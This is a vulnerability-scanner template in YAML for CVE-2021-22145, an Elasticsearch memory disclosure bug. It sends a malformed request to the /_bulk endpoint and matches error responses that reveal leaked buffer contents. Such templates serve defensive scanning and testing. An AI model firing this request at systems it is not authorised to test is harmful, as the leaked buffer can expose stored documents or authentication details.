id: CVE-2021-22145

info:
  name: ElasticSearch 7.13.3 - Memory disclosure
  author: dhiyaneshDk
  severity: medium
  description: A memory disclosure vulnerability was identified in Elasticsearch 7.10.0 to 7.13.3 error reporting. A user with the ability to submit arbitrary queries to Elasticsearch could submit a malformed query that would result in an error message returned containing previously used portions of a data buffer. This buffer could contain sensitive information such as Elasticsearch documents or authentication details.
  reference:
    - https://github.com/jaeles-project/jaeles-signatures/blob/e9595197c80521d64e31b846808095dd07c407e9/cves/elasctic-memory-leak-cve-2021-22145.yaml
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22145
    - https://packetstormsecurity.com/files/163648/ElasticSearch-7.13.3-Memory-Disclosure.html
    - https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-22145
    cwe-id: CWE-209
  tags: cve,cve2021,elasticsearch

requests:
  - method: POST
    path:
      - '{{BaseURL}}/_bulk'
    headers:
      Content-Type: application/json
    body: |
      @

    matchers-condition: and
    matchers:

      - type: word
        words:
          - 'root_cause'
          - 'truncated'
          - 'reason'
        part: body
        condition: and

      - type: status
        status:
          - 400